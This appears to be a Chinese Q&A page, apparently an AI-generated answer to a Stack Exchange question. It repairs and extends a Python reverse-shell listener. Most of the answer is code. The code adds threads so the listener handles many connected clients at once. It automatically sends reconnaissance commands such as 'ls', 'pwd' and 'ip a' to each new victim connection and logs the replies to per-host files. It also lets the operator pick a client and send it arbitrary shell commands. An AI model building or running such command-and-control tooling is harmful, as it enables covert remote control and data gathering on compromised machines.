You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python多线程反向监听器多连接及自动执行命令问题求助

Python反向监听器多客户端支持与自动化执行修复方案

一、现有代码核心问题修复

你当前代码无法接收连接的直接原因是主流程顺序错误,同时存在以下可直接修复的问题:

  • 语法错误:第13行queue = Queue)缺左括号,修正为queue = Queue()
  • 主流程阻塞:main()函数中先执行了start_luka()的死循环,永远无法执行到accept_connections()监听连接的逻辑,自然不会有连接建立提示
  • 多线程未启用:你预先定义了2线程的参数,但没有实际启动线程分别处理连接监听和交互命令两个并发任务
  • 核心函数缺失:get_target()、send_target_commands()两个核心功能函数未定义,选择客户端、发送命令的逻辑无法运行

二、多客户端并发支持实现

用你预留的2线程配置,分别分配两个任务:

  1. 线程1:持续运行accept_connections(),接收新客户端连接并存入列表
  2. 线程2:持续运行start_luka(),处理用户输入的交互命令
    实现线程调度的示例代码:
def create_workers():
    for _ in range(NUMBER_OF_THREADS):
        t = threading.Thread(target=work)
        t.daemon = True
        t.start()

def work():
    while True:
        x = queue.get()
        if x == 1:
            socket_create()
            socket_bind()
            accept_connections()
        if x == 2:
            start_luka()
        queue.task_done()

def create_jobs():
    for x in JOB_NUMBER:
        queue.put(x)
    queue.join()

修改main()函数为:

def main():
    create_workers()
    create_jobs()

三、新连接自动执行命令与落盘实现

在accept_connections()函数中,新连接建立后直接触发自动执行逻辑即可,示例修改:

# 接受连接的函数修改
def accept_connections():
    for c in all_connections:
        c.close()
    del all_connections[:]
    del all_addresses[:]
    # 预定义要自动执行的命令
    AUTO_CMD = ["ls", "pwd", "ip a"]
    while 1:
        try:
            conn, address = s.accept()
            conn.setblocking(1)
            all_connections.append(conn)
            all_addresses.append(address)
            print("\nConnection has been established: " + address[0])
            
            # 自动执行命令逻辑
            log_file_name = f"{address[0]}_{int(time.time())}.log"
            with open(log_file_name, "a", encoding="utf-8") as f:
                f.write(f"=== 客户端 {address[0]}:{address[1]} 执行记录 ===\n")
                for cmd in AUTO_CMD:
                    conn.send(str.encode(cmd))
                    resp = str(conn.recv(20480), "utf-8")
                    f.write(f"\n--- 命令 {cmd} 执行结果 ---\n")
                    f.write(resp)
            print(f"客户端 {address[0]} 自动命令执行完成,日志已存入 {log_file_name}")

        except Exception as e:
            print(f"Error accepting connections: {str(e)}")

四、补充缺失的核心功能函数

添加get_target()和send_target_commands()函数即可实现手动选择客户端执行命令的功能:

def get_target(cmd):
    try:
        target = int(cmd.split(' ')[1])
        conn = all_connections[target]
        print(f"已连接到客户端 {all_addresses[target][0]}")
        return conn
    except:
        print("客户端编号无效")
        return None

def send_target_commands(conn):
    while True:
        try:
            cmd = input()
            if cmd == 'quit':
                break
            if len(str.encode(cmd)) > 0:
                conn.send(str.encode(cmd))
                client_response = str(conn.recv(20480), "utf-8")
                print(client_response, end="")
        except:
            print("命令发送失败,连接已断开")
            break

内容的提问来源于stack exchange,提问作者Bahar lila

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.04 08:12:02